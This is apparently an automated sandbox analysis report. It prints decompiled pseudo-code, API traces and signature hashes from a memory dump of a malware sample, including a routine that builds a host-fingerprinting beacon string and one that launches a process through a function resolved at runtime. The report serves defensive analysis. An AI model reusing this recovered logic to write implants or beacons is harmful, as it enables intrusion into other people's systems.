StrToIntExA.SHLWAPI(00000000,00000000,?,035523DE,?,63699BC3,035523DE,?,63699BC3,00000005,0355D00C,00000008,?,035523DE), ref: 035541AF
StrToIntExA.SHLWAPI(00000000,00000000,?,035523DE,?,63699BC3,035523DE,?,63699BC3,00000005,0355D00C,00000008,?,035523DE), ref: 035541E1
HeapFree.KERNEL32(00000000,035523DE,035523DE,?,63699BC3,035523DE,?,63699BC3,00000005,0355D00C,00000008,?,035523DE), ref: 035542D8

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 92d01da1a770c1241a5065745d836b73b3053a8e57dcd8afa6abfdf5f0fca595
Instruction ID: 99d4f3f40acb8ea4a3fb5f7ae39e0bf474333108bab4fe4398142564f62c9b2c
Opcode Fuzzy Hash: 92d01da1a770c1241a5065745d836b73b3053a8e57dcd8afa6abfdf5f0fca595
Instruction Fuzzy Hash: DB6185F5610355AACB50EBB6FCA4D6BB7F9BB88240B284917BC01D7238E630F5869711

Uniqueness

Uniqueness Score: -1.00%

Function 0355A279, Relevance: 34.7, APIs: 23, Instructions: 201
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E0355A279(long __eax, void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a12, void* _a16, void* _a24, intOrPtr _a32) {
				intOrPtr _v0;
				intOrPtr _v4;
				intOrPtr _v16;
				intOrPtr _v24;
				intOrPtr _v28;
				void* _v44;
				intOrPtr _v52;
				void* __edi;
				long _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr _t28;
				intOrPtr _t29;
				intOrPtr _t30;
				void* _t33;
				intOrPtr _t34;
				int _t37;
				intOrPtr _t42;
				intOrPtr _t43;
				intOrPtr _t50;
				intOrPtr _t54;
				intOrPtr* _t56;
				intOrPtr _t62;
				intOrPtr _t68;
				intOrPtr _t71;
				intOrPtr _t74;
				int _t77;
				intOrPtr _t78;
				int _t81;
				intOrPtr _t83;
				int _t86;
				intOrPtr* _t89;
				intOrPtr* _t90;
				void* _t91;
				void* _t95;
				void* _t96;
				void* _t97;
				intOrPtr _t98;
				void* _t100;
				int _t101;
				void* _t102;
				void* _t103;
				void* _t105;
				void* _t106;
				void* _t108;

				_t95 = __edx;
				_t91 = __ecx;
				_t25 = __eax;
				_t105 = _a16;
				_v4 = 8;
				if(__eax == 0) {
					_t25 = GetTickCount();
				}
				_t26 =  *0x355d018; // 0x3429050d
				asm("bswap eax");
				_t27 =  *0x355d014; // 0x3a87c8cd
				asm("bswap eax");
				_t28 =  *0x355d010; // 0xd8d2f808
				asm("bswap eax");
				_t29 =  *0x355d00c; // 0x8f8f86c2
				asm("bswap eax");
				_t30 =  *0x355d27c; // 0x244a5a8
				_t3 = _t30 + 0x355e633; // 0x74666f73
				_t101 = wsprintfA(_t105, _t3, 2, 0x3d14b, _t29, _t28, _t27, _t26,  *0x355d02c,  *0x355d004, _t25);
				_t33 = E03551C1A();
				_t34 =  *0x355d27c; // 0x244a5a8
				_t4 = _t34 + 0x355e673; // 0x74707526
				_t37 = wsprintfA(_t101 + _t105, _t4, _t33);
				_t108 = _t106 + 0x38;
				_t102 = _t101 + _t37;
				_t96 = E035554BC(_t91);
				if(_t96 != 0) {
					_t83 =  *0x355d27c; // 0x244a5a8
					_t6 = _t83 + 0x355e8eb; // 0x736e6426
					_t86 = wsprintfA(_t102 + _t105, _t6, _t96);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t86;
					HeapFree( *0x355d238, 0, _t96);
				}
				_t97 = E03557649();
				if(_t97 != 0) {
					_t78 =  *0x355d27c; // 0x244a5a8
					_t8 = _t78 + 0x355e8f3; // 0x6f687726
					_t81 = wsprintfA(_t102 + _t105, _t8, _t97);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t81;
					HeapFree( *0x355d238, 0, _t97);
				}
				_t98 =  *0x355d32c; // 0x59a95b0
				_a32 = E03559395(0x355d00a, _t98 + 4);
				_t42 =  *0x355d2cc; // 0x0
				if(_t42 != 0) {
					_t74 =  *0x355d27c; // 0x244a5a8
					_t11 = _t74 + 0x355e8cd; // 0x3d736f26
					_t77 = wsprintfA(_t102 + _t105, _t11, _t42);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t77;
				}
				_t43 =  *0x355d2c8; // 0x0
				if(_t43 != 0) {
					_t71 =  *0x355d27c; // 0x244a5a8
					_t13 = _t71 + 0x355e8c6; // 0x3d706926
					wsprintfA(_t102 + _t105, _t13, _t43);
				}
				if(_a32 != 0) {
					_t100 = RtlAllocateHeap( *0x355d238, 0, 0x800);
					if(_t100 != 0) {
						E03557A80(GetTickCount());
						_t50 =  *0x355d32c; // 0x59a95b0
						__imp__(_t50 + 0x40);
						asm("lock xadd [eax], ecx");
						_t54 =  *0x355d32c; // 0x59a95b0
						__imp__(_t54 + 0x40);
						_t56 =  *0x355d32c; // 0x59a95b0
						_t103 = E03558307(1, _t95, _t105,  *_t56);
						asm("lock xadd [eax], ecx");
						if(_t103 != 0) {
							StrTrimA(_t103, 0x355c2ac);
							_push(_t103);
							_t62 = E03553CC8();
							_v16 = _t62;
							if(_t62 != 0) {
								_t89 = __imp__;
								 *_t89(_t103, _v0);
								 *_t89(_t100, _a4);
								_t90 = __imp__;
								 *_t90(_t100, _v28);
								 *_t90(_t100, _t103);
								_t68 = E03551199(0xffffffffffffffff, _t100, _v28, _v24);
								_v52 = _t68;
								if(_t68 != 0 && _t68 != 0x10d2) {
									E0355A1B0();
								}
								HeapFree( *0x355d238, 0, _v44);
							}
							HeapFree( *0x355d238, 0, _t103);
						}
						HeapFree( *0x355d238, 0, _t100);
					}
					HeapFree( *0x355d238, 0, _a24);
				}
				HeapFree( *0x355d238, 0, _t105);
				return _a12;
			}

0x0355a279
0x0355a279
0x0355a279
0x0355a280
0x0355a286
0x0355a28e
0x0355a290
0x0355a290
0x0355a29d
0x0355a2a8
0x0355a2ab
0x0355a2b6
0x0355a2b9
0x0355a2be
0x0355a2c1
0x0355a2c6
0x0355a2c9
0x0355a2d5
0x0355a2e2
0x0355a2e4
0x0355a2ea
0x0355a2ef
0x0355a2fa
0x0355a2fc
0x0355a2ff
0x0355a306
0x0355a30a
0x0355a30c
0x0355a311
0x0355a31d
0x0355a31f
0x0355a32b
0x0355a32d
0x0355a32d
0x0355a338
0x0355a33c
0x0355a33e
0x0355a343
0x0355a34f
0x0355a351
0x0355a35d
0x0355a35f
0x0355a35f
0x0355a365
0x0355a378
0x0355a37c
0x0355a383
0x0355a386
0x0355a38b
0x0355a396
0x0355a398
0x0355a39b
0x0355a39b
0x0355a39d
0x0355a3a4
0x0355a3a7
0x0355a3ac
0x0355a3b6
0x0355a3b8
0x0355a3c0
0x0355a3d9
0x0355a3dd
0x0355a3e9
0x0355a3ee
0x0355a3f7
0x0355a408
0x0355a40c
0x0355a415
0x0355a41b
0x0355a428
0x0355a435
0x0355a43b
0x0355a447
0x0355a44d
0x0355a44e
0x0355a455
0x0355a459
0x0355a45f
0x0355a466
0x0355a46d
0x0355a473
0x0355a47a
0x0355a47e
0x0355a489
0x0355a490
0x0355a494
0x0355a49d
0x0355a49d
0x0355a4ae
0x0355a4ae
0x0355a4bd
0x0355a4bd
0x0355a4cc
0x0355a4cc
0x0355a4de
0x0355a4de
0x0355a4ed
0x0355a4fe

APIs

GetTickCount.KERNEL32 ref: 0355A290
wsprintfA.USER32 ref: 0355A2DD
wsprintfA.USER32 ref: 0355A2FA
wsprintfA.USER32 ref: 0355A31D
HeapFree.KERNEL32(00000000,00000000), ref: 0355A32D
wsprintfA.USER32 ref: 0355A34F
HeapFree.KERNEL32(00000000,00000000), ref: 0355A35F
wsprintfA.USER32 ref: 0355A396
wsprintfA.USER32 ref: 0355A3B6
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 0355A3D3
GetTickCount.KERNEL32 ref: 0355A3E3
RtlEnterCriticalSection.NTDLL(059A9570), ref: 0355A3F7
RtlLeaveCriticalSection.NTDLL(059A9570), ref: 0355A415

Part of subcall function 03558307: lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,74ECC740,?,?,0355A428,?,059A95B0), ref: 03558332
Part of subcall function 03558307: lstrlen.KERNEL32(?,?,?,0355A428,?,059A95B0), ref: 0355833A
Part of subcall function 03558307: strcpy.NTDLL ref: 03558351
Part of subcall function 03558307: lstrcat.KERNEL32(00000000,?), ref: 0355835C
Part of subcall function 03558307: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,0355A428,?,059A95B0), ref: 03558379

StrTrimA.SHLWAPI(00000000,0355C2AC,?,059A95B0), ref: 0355A447

Part of subcall function 03553CC8: lstrlen.KERNEL32(059A9910,00000000,00000000,74ECC740,0355A453,00000000), ref: 03553CD8
Part of subcall function 03553CC8: lstrlen.KERNEL32(?), ref: 03553CE0
Part of subcall function 03553CC8: lstrcpy.KERNEL32(00000000,059A9910), ref: 03553CF4
Part of subcall function 03553CC8: lstrcat.KERNEL32(00000000,?), ref: 03553CFF

lstrcpy.KERNEL32(00000000,?), ref: 0355A466
lstrcpy.KERNEL32(00000000,00000000), ref: 0355A46D
lstrcat.KERNEL32(00000000,?), ref: 0355A47A
lstrcat.KERNEL32(00000000,00000000), ref: 0355A47E

Part of subcall function 03551199: WaitForSingleObject.KERNEL32(00000000,00000000,00000000,751881D0), ref: 0355124B

HeapFree.KERNEL32(00000000,?,00000000,?,?), ref: 0355A4AE
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0355A4BD
HeapFree.KERNEL32(00000000,00000000,?,059A95B0), ref: 0355A4CC
HeapFree.KERNEL32(00000000,00000000), ref: 0355A4DE
HeapFree.KERNEL32(00000000,?), ref: 0355A4ED

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$Free$wsprintf$lstrcatlstrlen$lstrcpy$CountCriticalSectionTickTrim$AllocateEnterLeaveObjectSingleWaitstrcpy
String ID:
API String ID: 3080378247-0
Opcode ID: af6b70dd566aec9c94f3eed1c48afa4da606a96a748953c2e897ddedb22754d1
Instruction ID: 56a5af150dd936fb231731315e57d8a2d4cf9195883f452d5ac828a0a6b5f74a
Opcode Fuzzy Hash: af6b70dd566aec9c94f3eed1c48afa4da606a96a748953c2e897ddedb22754d1
Instruction Fuzzy Hash: 4F616872500305AFC712EBA8EC68F5A7BF8EB48310F054215FD09D6274EB35F90AAB65

Uniqueness

Uniqueness Score: -1.00%

Function 0355ADE5, Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 209
libraryCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E0355ADE5(long _a4, long _a8) {
				signed int _v8;
				intOrPtr _v16;
				LONG* _v28;
				long _v40;
				long _v44;
				long _v48;
				CHAR* _v52;
				long _v56;
				CHAR* _v60;
				long _v64;
				signed int* _v68;
				char _v72;
				signed int _t76;
				signed int _t80;
				signed int _t81;
				intOrPtr* _t82;
				intOrPtr* _t83;
				intOrPtr* _t85;
				intOrPtr* _t90;
				intOrPtr* _t95;
				intOrPtr* _t98;
				void* _t102;
				intOrPtr* _t104;
				void* _t115;
				long _t116;
				void _t125;
				void* _t131;
				signed short _t133;
				struct HINSTANCE__* _t138;
				signed int* _t139;

				_t139 = _a4;
				_v28 = _t139[2] + 0x3550000;
				_t115 = _t139[3] + 0x3550000;
				_t131 = _t139[4] + 0x3550000;
				_v8 = _t139[7];
				_v60 = _t139[1] + 0x3550000;
				_v16 = _t139[5] + 0x3550000;
				_v64 = _a8;
				_v72 = 0x24;
				_v68 = _t139;
				_v56 = 0;
				asm("stosd");
				_v48 = 0;
				_v44 = 0;
				_v40 = 0;
				if(( *_t139 & 0x00000001) == 0) {
					_a8 =  &_v72;
					RaiseException(0xc06d0057, 0, 1,  &_a8);
					return 0;
				}
				_t138 =  *_v28;
				_t76 = _a8 - _t115 >> 2 << 2;
				_t133 =  *(_t131 + _t76);
				_a4 = _t76;
				_t80 =  !(_t133 >> 0x1f) & 0x00000001;
				_v56 = _t80;
				_t81 = _t133 + 0x3550002;
				if(_t80 == 0) {
					_t81 = _t133 & 0x0000ffff;
				}
				_v52 = _t81;
				_t82 =  *0x355d1a0; // 0x0
				_t116 = 0;
				if(_t82 == 0) {
					L6:
					if(_t138 != 0) {
						L18:
						_t83 =  *0x355d1a0; // 0x0
						_v48 = _t138;
						if(_t83 != 0) {
							_t116 =  *_t83(2,  &_v72);
						}
						if(_t116 != 0) {
							L32:
							 *_a8 = _t116;
							L33:
							_t85 =  *0x355d1a0; // 0x0
							if(_t85 != 0) {
								_v40 = _v40 & 0x00000000;
								_v48 = _t138;
								_v44 = _t116;
								 *_t85(5,  &_v72);
							}
							return _t116;
						} else {
							if(_t139[5] == _t116 || _t139[7] == _t116) {
								L27:
								_t116 = GetProcAddress(_t138, _v52);
								if(_t116 == 0) {
									_v40 = GetLastError();
									_t90 =  *0x355d19c; // 0x0
									if(_t90 != 0) {
										_t116 =  *_t90(4,  &_v72);
									}
									if(_t116 == 0) {
										_a4 =  &_v72;
										RaiseException(0xc06d007f, _t116, 1,  &_a4);
										_t116 = _v44;
									}
								}
								goto L32;
							} else {
								_t95 =  *((intOrPtr*)(_t138 + 0x3c)) + _t138;
								if( *_t95 == 0x4550 &&  *((intOrPtr*)(_t95 + 8)) == _v8 && _t138 ==  *((intOrPtr*)(_t95 + 0x34))) {
									_t116 =  *(_a4 + _v16);
									if(_t116 != 0) {
										goto L32;
									}
								}
								goto L27;
							}
						}
					}
					_t98 =  *0x355d1a0; // 0x0
					if(_t98 == 0) {
						L9:
						_t138 = LoadLibraryA(_v60);
						if(_t138 != 0) {
							L13:
							if(InterlockedExchange(_v28, _t138) == _t138) {
								FreeLibrary(_t138);
							} else {
								if(_t139[6] != 0) {
									_t102 = LocalAlloc(0x40, 8);
									if(_t102 != 0) {
										 *(_t102 + 4) = _t139;
										_t125 =  *0x355d198; // 0x0
										 *_t102 = _t125;
										 *0x355d198 = _t102;
									}
								}
							}
							goto L18;
						}
						_v40 = GetLastError();
						_t104 =  *0x355d19c; // 0x0
						if(_t104 == 0) {
							L12:
							_a8 =  &_v72;
							RaiseException(0xc06d007e, 0, 1,  &_a8);
							return _v44;
						}
						_t138 =  *_t104(3,  &_v72);
						if(_t138 != 0) {
							goto L13;
						}
						goto L12;
					}
					_t138 =  *_t98(1,  &_v72);
					if(_t138 != 0) {
						goto L13;
					}
					goto L9;
				}
				_t116 =  *_t82(0,  &_v72);
				if(_t116 != 0) {
					goto L33;
				}
				goto L6;
			}

0x0355adf4
0x0355ae0a
0x0355ae10
0x0355ae12
0x0355ae17
0x0355ae1d
0x0355ae22
0x0355ae25
0x0355ae33
0x0355ae3a
0x0355ae3d
0x0355ae40
0x0355ae41
0x0355ae44
0x0355ae47
0x0355ae4a
0x0355ae4f
0x0355ae5e
0x00000000
0x0355ae64
0x0355ae6e
0x0355ae78
0x0355ae7d
0x0355ae7f
0x0355ae89
0x0355ae8c
0x0355ae8f
0x0355ae95
0x0355ae97
0x0355ae97
0x0355ae9a
0x0355ae9d
0x0355aea2
0x0355aea6
0x0355aeb9
0x0355aebb
0x0355af63
0x0355af63
0x0355af6a
0x0355af6d
0x0355af77
0x0355af77
0x0355af7b
0x0355aff9
0x0355affc
0x0355affe
0x0355affe
0x0355b005
0x0355b007
0x0355b011
0x0355b014
0x0355b017
0x0355b017
0x00000000
0x0355af7d
0x0355af80
0x0355afae
0x0355afb8
0x0355afbc
0x0355afc4
0x0355afc7
0x0355afce
0x0355afd8
0x0355afd8
0x0355afdc
0x0355afe1
0x0355aff0
0x0355aff6
0x0355aff6
0x0355afdc
0x00000000
0x0355af87
0x0355af8a
0x0355af92
0x0355afa7
0x0355afac
0x00000000
0x00000000
0x0355afac
0x00000000
0x0355af92
0x0355af80
0x0355af7b
0x0355aec1
0x0355aec8
0x0355aed8
0x0355aee1
0x0355aee5
0x0355af28
0x0355af34
0x0355af5d
0x0355af36
0x0355af3a
0x0355af40
0x0355af48
0x0355af4a
0x0355af4d
0x0355af53
0x0355af55
0x0355af55
0x0355af48
0x0355af3a
0x00000000
0x0355af34
0x0355aeed
0x0355aef0
0x0355aef7
0x0355af07
0x0355af0a
0x0355af1a
0x00000000
0x0355af20
0x0355af01
0x0355af05
0x00000000
0x00000000
0x00000000
0x0355af05
0x0355aed2
0x0355aed6
0x00000000
0x00000000
0x00000000
0x0355aed6
0x0355aeaf
0x0355aeb3
0x00000000
0x00000000
0x00000000

APIs

RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0355AE5E
LoadLibraryA.KERNEL32(?), ref: 0355AEDB
GetLastError.KERNEL32 ref: 0355AEE7
RaiseException.KERNEL32(C06D007E,00000000,00000001,?), ref: 0355AF1A

Strings

$, xrefs: 0355AE33

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: ExceptionRaise$ErrorLastLibraryLoad
String ID: $
API String ID: 948315288-3993045852
Opcode ID: 6f7a76ed4b7cda652cbc30643aa78069befafb0aedeb1420fa51239cf8cf7f10
Instruction ID: fa579be465857dc37a4f4fd94ba07a1f39c44acd917599eb71ac39eb3dc10e47
Opcode Fuzzy Hash: 6f7a76ed4b7cda652cbc30643aa78069befafb0aedeb1420fa51239cf8cf7f10
Instruction Fuzzy Hash: 7C81FAB5A00305AFDB11DFA8E8A4AAEB7F5BF48310F14812AF905E7264E770F945CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0355816C, Relevance: 13.6, APIs: 9, Instructions: 112
stringCOMMON

Download Yara Rule

C-Code - Quality: 27%

			E0355816C(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				long _v16;
				intOrPtr _v20;
				signed int _v24;
				void* __esi;
				long _t43;
				intOrPtr _t44;
				intOrPtr _t46;
				void* _t48;
				void* _t49;
				void* _t50;
				intOrPtr _t54;
				intOrPtr _t57;
				void* _t58;
				void* _t59;
				void* _t60;
				intOrPtr _t66;
				void* _t71;
				void* _t74;
				intOrPtr _t75;
				void* _t77;
				intOrPtr _t79;
				intOrPtr* _t80;
				intOrPtr _t91;

				_t79 =  *0x355d33c; // 0x59a9bd8
				_v24 = 8;
				_t43 = GetTickCount();
				_push(5);
				_t74 = 0xa;
				_v16 = _t43;
				_t44 = E035570F5(_t74,  &_v16);
				_v8 = _t44;
				if(_t44 == 0) {
					_v8 = 0x355c1ac;
				}
				_t46 = E03558022(_t79);
				_v12 = _t46;
				if(_t46 != 0) {
					_t80 = __imp__;
					_t48 =  *_t80(_v8, _t71);
					_t49 =  *_t80(_v12);
					_t50 =  *_t80(_a4);
					_t54 = E03552049(lstrlenW(_a8) + _t48 + _t48 + _t49 + _t50 + lstrlenW(_a8) + _t48 + _t48 + _t49 + _t50 + 0x102);
					_v20 = _t54;
					if(_t54 != 0) {
						_t75 =  *0x355d27c; // 0x244a5a8
						_t16 = _t75 + 0x355eb28; // 0x530025
						 *0x355d11c(_t54, _t16, _v8, _v8, _a4, _v12, _a8);
						_push(4);
						_t77 = 5;
						_t57 = E035570F5(_t77,  &_v16);
						_v8 = _t57;
						if(_t57 == 0) {
							_v8 = 0x355c1b0;
						}
						_t58 =  *_t80(_v8);
						_t59 =  *_t80(_v12);
						_t60 =  *_t80(_a4);
						_t91 = E03552049(lstrlenW(_a12) + _t58 + _t58 + _t59 + _t60 + lstrlenW(_a12) + _t58 + _t58 + _t59 + _t60 + 0x13a);
						if(_t91 == 0) {
							E03559039(_v20);
						} else {
							_t66 =  *0x355d27c; // 0x244a5a8
							_t31 = _t66 + 0x355ec48; // 0x73006d
							 *0x355d11c(_t91, _t31, _v8, _v8, _a4, _v12, _a12);
							 *_a16 = _v20;
							_v24 = _v24 & 0x00000000;
							 *_a20 = _t91;
						}
					}
					E03559039(_v12);
				}
				return _v24;
			}

0x03558174
0x0355817a
0x03558181
0x03558187
0x0355818b
0x0355818f
0x03558192
0x03558199
0x0355819c
0x0355819e
0x0355819e
0x035581a7
0x035581ae
0x035581b1
0x035581b7
0x035581c1
0x035581ca
0x035581d1
0x035581ea
0x035581f1
0x035581f4
0x035581fd
0x03558206
0x03558217
0x03558220
0x03558224
0x03558228
0x0355822f
0x03558232
0x03558234
0x03558234
0x0355823e
0x03558247
0x0355824e
0x03558266
0x0355826a
0x035582a7
0x0355826c
0x0355826f
0x03558277
0x03558288
0x03558294
0x0355829c
0x035582a0
0x035582a0
0x0355826a
0x035582af
0x035582b4
0x035582bb

APIs

GetTickCount.KERNEL32 ref: 03558181
lstrlen.KERNEL32(?,80000002,00000005), ref: 035581C1
lstrlen.KERNEL32(00000000), ref: 035581CA
lstrlen.KERNEL32(00000000), ref: 035581D1
lstrlenW.KERNEL32(80000002), ref: 035581DE
lstrlen.KERNEL32(?,00000004), ref: 0355823E
lstrlen.KERNEL32(?), ref: 03558247
lstrlen.KERNEL32(?), ref: 0355824E
lstrlenW.KERNEL32(?), ref: 03558255

Part of subcall function 03559039: HeapFree.KERNEL32(00000000,00000000,03557F18,00000000,?,?,00000000), ref: 03559045

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$CountFreeHeapTick
String ID:
API String ID: 2535036572-0
Opcode ID: 0e68501c06c2522f744a82bd2e006199c8572a358a0c8715eb0971c44bb48b97
Instruction ID: 1e6c47794df2ad6318e3698eb8553dcc475dc66de5cacd1e3ea169255e4781a2
Opcode Fuzzy Hash: 0e68501c06c2522f744a82bd2e006199c8572a358a0c8715eb0971c44bb48b97
Instruction Fuzzy Hash: 2B413576900219EBDF11EFA4DC14A9EBBB5FF88314F054092FD04A7230D735AA16EB90

Uniqueness

Uniqueness Score: -1.00%

Function 0355205E, Relevance: 10.6, APIs: 7, Instructions: 109
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E0355205E(void* __eax, void* __ecx) {
				long _v8;
				char _v12;
				void* _v16;
				void* _v28;
				long _v32;
				void _v104;
				char _v108;
				long _t36;
				intOrPtr _t40;
				intOrPtr _t47;
				intOrPtr _t50;
				void* _t58;
				void* _t68;
				intOrPtr* _t70;
				intOrPtr* _t71;

				_t1 = __eax + 0x14; // 0x74183966
				_t69 =  *_t1;
				_t36 = E0355692C(__ecx,  *((intOrPtr*)( *_t1 + 0xc)),  &_v12,  &_v16);
				_v8 = _t36;
				if(_t36 != 0) {
					L12:
					return _v8;
				}
				E0355A8D8( *((intOrPtr*)(_t69 + 0xc)),  *((intOrPtr*)(_t69 + 8)), _v12);
				_t40 = _v12(_v12);
				_v8 = _t40;
				if(_t40 == 0 && ( *0x355d260 & 0x00000001) != 0) {
					_v32 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v108 = 0;
					memset( &_v104, 0, 0x40);
					_t47 =  *0x355d27c; // 0x244a5a8
					_t18 = _t47 + 0x355e3e6; // 0x73797325
					_t68 = E035595B1(_t18);
					if(_t68 == 0) {
						_v8 = 8;
					} else {
						_t50 =  *0x355d27c; // 0x244a5a8
						_t19 = _t50 + 0x355e747; // 0x59a8cef
						_t20 = _t50 + 0x355e0af; // 0x4e52454b
						_t71 = GetProcAddress(GetModuleHandleA(_t20), _t19);
						if(_t71 == 0) {
							_v8 = 0x7f;
						} else {
							_v108 = 0x44;
							E035584D5();
							_t58 =  *_t71(0, _t68, 0, 0, 0, 0x4000000, 0, 0,  &_v108,  &_v32, 0);
							_push(1);
							E035584D5();
							if(_t58 == 0) {
								_v8 = GetLastError();
							} else {
								CloseHandle(_v28);
								CloseHandle(_v32);
							}
						}
						HeapFree( *0x355d238, 0, _t68);
					}
				}
				_t70 = _v16;
				 *((intOrPtr*)(_t70 + 0x18))( *((intOrPtr*)(_t70 + 0x1c))( *_t70));
				E03559039(_t70);
				goto L12;
			}

0x03552066
0x03552066
0x03552075
0x0355207e
0x03552081
0x0355218e
0x03552195
0x03552195
0x03552090
0x03552098
0x0355209d
0x035520a0
0x035520b5
0x035520bb
0x035520bc
0x035520bf
0x035520c5
0x035520c8
0x035520cd
0x035520d5
0x035520e1
0x035520e5
0x03552175
0x035520eb
0x035520eb
0x035520f0
0x035520f7
0x0355210b
0x0355210f
0x0355215e
0x03552111
0x03552112
0x03552119
0x03552132
0x03552134
0x03552138
0x0355213f
0x03552159
0x03552141
0x0355214a
0x0355214f
0x0355214f
0x0355213f
0x0355216d
0x0355216d
0x035520e5
0x0355217c
0x03552185
0x03552189
0x00000000

APIs

Part of subcall function 0355692C: GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,0355207A,?,00000001,?,?,00000000,00000000), ref: 03556951
Part of subcall function 0355692C: GetProcAddress.KERNEL32(00000000,7243775A), ref: 03556973
Part of subcall function 0355692C: GetProcAddress.KERNEL32(00000000,614D775A), ref: 03556989
Part of subcall function 0355692C: GetProcAddress.KERNEL32(00000000,6E55775A), ref: 0355699F
Part of subcall function 0355692C: GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 035569B5
Part of subcall function 0355692C: GetProcAddress.KERNEL32(00000000,6C43775A), ref: 035569CB

memset.NTDLL ref: 035520C8

Part of subcall function 035595B1: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,035523E9,63699BCE,03551354,73797325), ref: 035595C2
Part of subcall function 035595B1: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 035595DC

GetModuleHandleA.KERNEL32(4E52454B,059A8CEF,73797325), ref: 035520FE
GetProcAddress.KERNEL32(00000000), ref: 03552105
HeapFree.KERNEL32(00000000,00000000), ref: 0355216D

Part of subcall function 035584D5: GetProcAddress.KERNEL32(36776F57,035521E5), ref: 035584F0

CloseHandle.KERNEL32(00000000,00000001), ref: 0355214A
CloseHandle.KERNEL32(?), ref: 0355214F
GetLastError.KERNEL32(00000001), ref: 03552153

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: AddressProc$Handle$CloseEnvironmentExpandModuleStrings$ErrorFreeHeapLastmemset
String ID:
API String ID: 3075724336-0
Opcode ID: ae4ded1b347123e34fe652be14e9328cf8c1e6c918b8822cc24a9ca465edf11d
Instruction ID: 99ff49893cf30ea3d2a2a6beb55678d3e2e0d920229772f6c711b7109a179403
Opcode Fuzzy Hash: ae4ded1b347123e34fe652be14e9328cf8c1e6c918b8822cc24a9ca465edf11d
Instruction Fuzzy Hash: 75311BB6900349AFDB10EFA4E894D9FBBBCFB48344F044966FA05A7130D735BA499B50

Uniqueness

Uniqueness Score: -1.00%

Function 03558307, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68
stringCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E03558307(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _t9;
				intOrPtr _t13;
				char* _t28;
				void* _t33;
				void* _t34;
				char* _t36;
				intOrPtr* _t40;
				char* _t41;
				char* _t42;
				char* _t43;

				_t34 = __edx;
				_push(__ecx);
				_t9 =  *0x355d27c; // 0x244a5a8
				_t1 = _t9 + 0x355e62c; // 0x253d7325
				_t36 = 0;
				_t28 = E03559401(__ecx, _t1);
				if(_t28 != 0) {
					_t40 = __imp__;
					_t13 =  *_t40(_t28);
					_v8 = _t13;
					_t41 = E03552049(_v8 +  *_t40(_a4) + 1);
					if(_t41 != 0) {
						strcpy(_t41, _t28);
						_pop(_t33);
						__imp__(_t41, _a4);
						_t36 = E03557225(_t34, _t41, _a8);
						E03559039(_t41);
						_t42 = E03558E82(StrTrimA(_t36, "="), _t36);
						if(_t42 != 0) {
							E03559039(_t36);
							_t36 = _t42;
						}
						_t43 = E0355788B(_t36, _t33);
						if(_t43 != 0) {
							E03559039(_t36);
							_t36 = _t43;
						}
					}
					E03559039(_t28);
				}
